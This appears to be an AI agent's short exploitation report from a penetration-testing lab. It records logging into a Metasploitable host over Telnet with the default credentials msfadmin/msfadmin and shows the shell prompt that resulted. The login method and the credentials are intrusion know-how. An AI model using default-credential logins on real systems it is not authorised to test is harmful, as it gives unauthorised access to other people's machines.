Exploitation Result\n
\n
- Target: `192.168.237.131` (Port\u202f23 \u2013 Telnet) \n
- Known credentials: `msfadmin / msfadmin` \n
\n
Using an **expect** script to automate the Telnet login, I was able to provide the credentials and obtain a shell on the target system.\n
\n
```\n
Login: msfadmin\n
Password: msfadmin\n
\n
Last login: Tue Dec  2 09:13:19 EST 2025 from 192.168.237.132 on pts/1\n
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686\n
...\n
msfadmin@metasploitable:~$\n```\n
\n**Conclusion:** The Telnet service on `192.168.237.131` was successfully breached using the default credentials. Access to the system has been achieved."
```